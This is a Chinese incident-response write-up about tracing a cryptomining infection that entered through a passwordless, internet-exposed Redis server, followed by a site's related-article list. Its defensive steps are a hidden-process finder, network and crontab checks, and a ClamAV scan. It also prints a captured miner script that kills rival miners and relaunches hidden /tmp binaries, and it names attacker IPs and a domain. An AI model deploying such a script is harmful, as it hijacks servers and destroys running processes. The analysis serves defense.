记一次挖矿病毒的溯源

news2025/1/17 4:02:13

ps:因为项目保密的原因部分的截图是自己在本地的环境复现。

1. 起因

客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。

2.排查可疑进程

首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查

使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。

以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。

该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。

import os

def get_max_pid():
   pid_list = [int(pid) for pid in os.listdir('/proc') if
pid.isdigit()]
   return str(max(pid_list))

def get_existing_process_ids(max_pid):
   process_ids = []
   for pid in range(1, int(max_pid) + 1):
       if os.path.exists('/proc/' + str(pid)):
           process_ids.append(str(pid))
   return process_ids

def get_ps_aux_process_ids():
   process_ids = []
   output = os.popen('ps aux').read()
   lines = output.split('n')
   for line in lines[1:]:
       if line.strip() != '':
           pid = line.split()[1]
           process_ids.append(pid)
   return process_ids

max_pid = get_max_pid()
existing_process_ids = get_existing_process_ids(max_pid)
ps_aux_process_ids = get_ps_aux_process_ids()

for pid in existing_process_ids:
   if pid not in ps_aux_process_ids:
       print('Hidden PID {}'.format(pid))

emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。

然后一个一个排查后效果不佳,并无发现什么可疑进程。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

3 排查网络链接

于是打算从网络链接中入手,使用netstat
-antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。

发现是绑定的log.softgoldinformation.com这个域名。

然后搜索这个域名,发现之前也有人排查过了。

然后发现其实还有其他ip
这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。)

然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2)

4 寻找漏洞

问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。

使用ps aux|grep redis查看redis端口。

尝试空密码链接成功。基本确定入口点是redis。

5 补救措施

发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。)

首先查看一下定时任务。 发现并无异常。

cat /etc/crontab

然后查看tmp目录,发现有sh文件,
这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。

ls -la /tmp

随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。

下面是一个
solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
do
   killall /tmp/*
   killall /var/tmp/*
  crontab -l | sed '/195.3.146.118/d' | crontab -
  crontab -l | sed '/cf.sh/d' | crontab -
  crontab -l | sed '/xms/d' | crontab -
  crontab -l | sed '/kwork.sh/d' | crontab -
  crontab -l | sed '/cyberium/d' | crontab -
  crontab -l | sed '/newdat/d' | crontab -
   rm -f /tmp/*
   ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' |
xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}'
| xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' |
xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'wget' | awk '{print $2}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'curl' | awk '{print $2}' | xargs -I % kill -9 %
   ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'urlopen' | awk '{print $2}' | xargs -I % kill -9 %
  pgrep JavaUpdate | xargs -I % kill -9 %
  pgrep kinsing | xargs -I % kill -9 %
  pgrep donate | xargs -I % kill -9 %
  pgrep kdevtmpfsi | xargs -I % kill -9 %
  pgrep trace | xargs -I % kill -9 %
  pgrep sysupdate | xargs -I % kill -9 %
  pgrep mysqlserver | xargs -I % kill -9 %
   ps aux | grep -v grep | grep 'trace' | awk '{print $2}' |
xargs -I % kill -9 %
  pkill xmrig
  pkill sysupdate
  pkill sysguard
  pkill kthreaddk
  pkill networkservice
  pkill kdevtmpfsi
  pkill watchbog
   p=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')
   name=""$p
   if [ -z "$name" ]
   then
      pkill solrd
       ps aux | grep -v grep | grep -v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
| awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %
      nohup /tmp/.solr/solrd &>>/dev/null &
       sleep 30
      nohup /tmp/.solr/genshin &>>/dev/null &
       sleep 30
   else
        :
   fi
done

查看/etc/passwd 是否有恶意用户

cat /etc/passwd

查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey)

ls -la /root/.ssh/

然后用clamscan扫描一遍

clamscan -r /

设置redis密码登录。(这一步是由客户人员配置)

然后删除tmp目录下的脚本文件

rm -rf /tmp/*.sh

6 脚本分析

这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。

首先脚本的逻辑是从kill掉其他挖矿同行进程开始

然后写了一个定时任务

然后判断目标系统位数,到[http://94.103.87.71/]{.underline}去下载病毒程序

这也就是最终的病毒文件

果不其然

最后是自动清理本身

总结

这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。

ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1318329.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

java --- 异常

目录 一、异常体系介绍 二、异常的作用 三、异常处理方式 3.1 捕获异常 2.1 灵魂一问: 如果try中没有遇到问题,如何执行? 2.2 灵魂二问:如果try中可能会遇到多个问题,怎么执行? 2.3 灵魂三问&#x…

眼镜店验光配镜处方单打印管理系统软件教程

一、前言 1、眼镜店原始的手写处方单逐步被电脑打印单取代 2、使用电脑开单,记录可以保存可以查询,而且同一个人配镜可以对比之前的信息 软件下载或技术支持可以点击最下方官网卡片 如上图,该软件有顾客信息模块,旧镜检查模块…

飞天使-docker知识点8-docker的资源限制

文章目录 容器资源限制示例OOM 优先级机制内存限制参数swap 限制 容器资源限制 Docker提供了多种资源限制的方式,可以根据应用程序的需求和系统资源的可用性进行选择。以下是一些常见的Docker资源限制及其使用情况:CPU限制:通过设置CPU的配额…

AUTOSAR ComM模块配置以及代码

ComM模块配置以及代码执行流程 1、基本的一个通道的配置列表 ComMNmVariant 概念的个人理解: FULL: 完全按照AUTOSAR NM方式进行调用 LIGHT :设置一个超时时间,在请求停止通信的时候开始计时,超时之后才会进入FULLCOM…

processon使用及流程图和泳道图的绘画(登录界面流程图,门诊流程图绘制门诊泳道图,住院泳道图,OA会议泳道图),Axure自定义元件

目录 一.processon图形的使用场景介绍 二.流程图绘画 三.泳道图的绘画 1.绘制门诊流程图绘制门诊泳道图 2. 绘制住院泳道图​编辑 3.绘制药库采购入库流程图 4.绘制OA会议泳道图 四.Axure自定义元件 1.Axure载入元件库 一.processon图形的使用场景介绍 二.流程图绘画 示例&…

【案例】注册表简介,新建一个右键菜单打开方式选项

这里写目录标题 来源注册表的介绍注册表编辑器VScode的打开方式菜单![image-20231217201730121](https://img-blog.csdnimg.cn/img_convert/56c02643df9e8ec3afb4f3ac5cc0cdd5.png)如何自定义一个右键菜单备份注册表新建一个菜单选项”右键用记事本打开“ DWORDQWORD可扩充字符…

MySQL数据库,表的增量备份与恢复

1. 从物理与逻辑的角度 数据库备份可以分为物理备份和逻辑备份。物理备份是对数据库操作系统的物理文件(如数据 文件,日志文件等)的备份。这种类型的备份适用于在出现问题时需要快速恢复的大型重要数据库。 物理备份又可以分为冷备份&#xf…

WPF——命令commond的实现方法

命令commond的实现方法 属性通知的方式 鼠标监听绑定事件 行为:可以传递界面控件的参数 第一种: 第二种: 附加属性 propa:附加属性快捷方式

I/O流的相关内容

首先我们了解一下什么是文件: 文件其实就是让我们用来保存数据的地方,它可以用来保存信息,图片,以及音频等各类数据。 文件流: 那我们是如何通过我们的程序来进行对文件的操作呢?这里我们就要提出一个概…

记录 | gpu docker启动报错libnvidia-ml.so.1: file exists: unknown

困扰了两天的问题,记录一下 问题出在启动一个本身已经安装 cuda 的镜像上,具体来说,我是启动地平线天工开物工具链镜像的时候出现的问题,具体报错如下: docker: Error response from daemon: failed to create task …

【SpringMVC】SpringMVC简介、过程分析、bean的加载和控制

文章目录 1. SpringMVC简介2. SpringMVC入门案例文件结构第一步:坐标导入第二步:创建SpringMVC容器的控制器类第三步:初始化SpringMVC环境,设定Spring加载对应的bean第四步:初始化Servlet容器,加载SpringMV…

腾讯技术工程总结-如何写好技术文章?

文章参考:腾讯技术工程《写好一篇高质量的技术文章》 如何写好技术文章? 大家可以先思考一下,为什么要写技术文章? 我们写技术文章的目的是什么呢?面向哪些人呢? 面向人群 写技术文章的目的毫无疑问是为…

linux应急响应基础和常用命令

linux应急响应 linux应急响应基础和常用命令基于linux系统本身进行应急响应。 系统基础信息获取 获取linux服务器基本信息 命令: uname -a内存cpu信息 cat /proc/cpuinfo cat /proc/meminfo lscpu free -m lsmod #查看载入的模块信息进程查看 动态进程查看 …

PDF如何转换制作成翻页电子书

很多朋友想将PDF转换制作成一本翻页电子书,却不知道如何操作。其实,转换翻页电子书的过程并不难,只需要掌握一些基本的技巧和方法就可以了。 基本该怎么操作呢? 1.首先需要一个工具帮助我们成功转换,推荐使用FLBOOK这…

系统架构设计师教程(七)系统架构设计基础知识

系统架构设计基础知识 7.1 软件架构概念7.1.1 软件架构的定义7.1.2 软件架构设计与生命周期需求分析阶段设计阶段实现阶段构件组装阶段部署阶段后开发阶段 7.1.3 软件架构的重要性 7.2 基于架构的软件开发方法7.2.1 体系结构的设计方法概述7.2.2 概念与术语7.2.3 基于体系结构的…

【二分查找】自写二分函数的总结

作者推荐 【动态规划】【广度优先搜索】LeetCode:2617 网格图中最少访问的格子数 本文涉及的基础知识点 二分查找算法合集 自写二分函数 的封装 我暂时只发现两种: 一,在左闭右开的区间寻找最后一个符合条件的元素,我封装成FindEnd函数。…

Automotive Bionics

汽车仿生学是一种通过模拟生物系统的某些特征来设计汽车的方法。一些典型的汽车仿生学例子包括: 鲨鱼式车型:这种车型的设计灵感来源于鲨鱼的流线型身体,这种设计能够减少空气阻力和水阻力,提高车辆的燃油效率和行驶速度。 甲壳虫…

JavaSE第7篇:封装

文章目录 一、封装1、好处:2、使用 二、四种权限修饰符三、构造器1、作用2、说明3、属性赋值的过程 一、封装 封装就是将类的属性私有化,提供公有的方法访问私有属性 不对外暴露打的私有的方法 单例模式 1、好处: 1.只能通过规定的方法来访问数据 2.隐藏类的实例细节,方便…

HarmonyOS云开发基础认证考试满分答案(100分)【全网最全-不断更新】【鸿蒙专栏-29】

系列文章: HarmonyOS应用开发者基础认证满分答案(100分) HarmonyOS应用开发者基础认证【闯关习题 满分答案】 HarmonyOS应用开发者高级认证满分答案(100分) HarmonyOS云开发基础认证满分答案(100分&#xf…

DC-4靶场

目录 nmap进行主机发现 尝试反弹shell: 进入交互式shell: Hydra爆破jim用户密码: ssh登录charles : 提权(三种方法): exim4提权…